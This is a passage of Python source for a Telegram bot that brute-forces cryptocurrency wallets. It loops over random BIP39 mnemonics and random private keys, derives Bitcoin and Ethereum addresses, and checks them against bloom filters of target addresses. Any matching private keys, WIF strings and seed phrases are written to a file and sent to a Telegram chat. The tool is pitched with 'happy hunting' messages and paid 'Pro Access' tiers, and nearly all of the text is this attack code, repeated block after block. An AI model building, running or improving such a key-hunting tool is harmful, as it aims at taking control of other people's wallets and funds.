Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} ")) num += 1 if message.text=="5 Minutes Magic Random Words": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„5 Minutes Magic Random Words ๐Ÿช„")) print('[yellow]\n---------------------5 Minutes Magic Random Words---------------------------------[/yellow]') print(ICEWORDS) print('[yellow]\n---------------------5 Minutes Magic Random Words---------------------------------[/yellow]') t_end = time.time() + 60 * 5 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: finish= 0 count += 1 total += 4 lenght= ('128','256') rnds = random.choice(lenght) mnem = create_valid_mnemonics(strength=int(rnds)) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Mnemonics [/purple]',rnds, '[purple] Words (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nMnemonics: ' + mnem) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic ETH Address : ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} ")) num += 1 if message.text=="15 Minutes Magic Random Words โœจ(Pro Access)โœจ": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„15 Minutes Magic Random Words ๐Ÿช„โœจ(Pro Access)โœจ")) print('[yellow]\n---------------------15 Minutes Magic Random Words---------------------------------[/yellow]') print(ICEWORDS) print('[yellow]\n---------------------15 Minutes Magic Random Words---------------------------------[/yellow]') t_end = time.time() + 60 * 15 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: finish= 0 count += 1 total += 4 lenght= ('128','256') rnds = random.choice(lenght) mnem = create_valid_mnemonics(strength=int(rnds)) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Mnemonics [/purple]',rnds, '[purple] Words (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nMnemonics: ' + mnem) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic ETH Address : ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} ")) num += 1 if message.text=="30 Minutes Magic Random Words โœจ(Pro Access)โœจ": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„30 Minutes Magic Random Words ๐Ÿช„โœจ(Pro Access)โœจ")) print('[purple]\n---------------------30 Minutes Magic Random Words(Pro Access)---------------------------------[/purple]') print(ICEWORDS) print('[purple]\n---------------------30 Minutes Magic Random Words(Pro Access)---------------------------------[/purple]') t_end = time.time() + 60 * 30 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: finish= 0 count += 1 total += 4 lenght= ('128','256') rnds = random.choice(lenght) mnem = create_valid_mnemonics(strength=int(rnds)) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Mnemonics [/purple]',rnds, '[purple] Words (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nMnemonics: ' + mnem) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic ETH Address : ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} ")) num += 1 if message.text=="1 Hour Magic Random Words โœจ(Pro Access)โœจ": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„1 Hour Magic Random Words ๐Ÿช„โœจ(Pro Access)โœจ")) print('[purple]\n---------------------1 Hour Magic Random Words(Pro Access)---------------------------------[/purple]') print(ICEWORDS) print('[purple]\n---------------------1 Hour Magic Random Words(Pro Access)---------------------------------[/purple]') t_end = time.time() + 60 * 60 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: finish= 0 count += 1 total += 4 lenght= ('128','256') rnds = random.choice(lenght) mnem = create_valid_mnemonics(strength=int(rnds)) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Mnemonics [/purple]',rnds, '[purple] Words (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nMnemonics: ' + mnem) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic ETH Address : ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} Mnemonics {rnds} Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} ETH Address = {ethaddr} ")) num += 1 else: bot.send_message(message.chat.id, "Going back to the Main Menu ") print('[red]Going back to the Main Menu[/red]') start(message) def get_POWER_FULLRANGE(message): if message.text=="๐Ÿ”™Back": start(message) else: count = 0 total = 0 num = 1 n = "\n" startscan=2**1 stopscan=2**256 print(FULLRANGE) if message.text=="1 Minutes Magic Random Range": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„1 Minutes Magic Random Range ๐Ÿช„")) print('[yellow]\n---------------------1 Minutes Magic Random Range---------------------------------[/yellow]') t_end = time.time() + 60 * 1 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: #print('\nDecimal = ',dec, ' bits ', length, '\n Hexadecimal = ', HEX) print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr}")) num += 1 if message.text=="5 Minutes Magic Random Range": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„5 Minutes Magic Random Range ๐Ÿช„")) print('[yellow]\n---------------------5 Minutes Magic Random Range---------------------------------[/yellow]') t_end = time.time() + 60 * 5 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: #print('\nDecimal = ',dec, ' bits ', length, '\n Hexadecimal = ', HEX) print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr}")) num += 1 if message.text=="15 Minutes Magic Random Range โœจ(Pro Access)โœจ": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„15 Minutes Magic Random Range ๐Ÿช„โœจ(Pro Access)โœจ")) print('[yellow]\n---------------------15 Minutes Magic Random Range---------------------------------[/yellow]') t_end = time.time() + 60 * 15 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: #print('\nDecimal = ',dec, ' bits ', length, '\n Hexadecimal = ', HEX) print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr}")) num += 1 if message.text=="30 Minutes Magic Random Range โœจ(Pro Access)โœจ": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„30 Minutes Magic Random Range ๐Ÿช„โœจ(Pro Access)โœจ")) print('[purple]\n---------------------30 Minutes Magic Random Range(Pro Access)---------------------------------[/purple]') t_end = time.time() + 60 * 30 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, 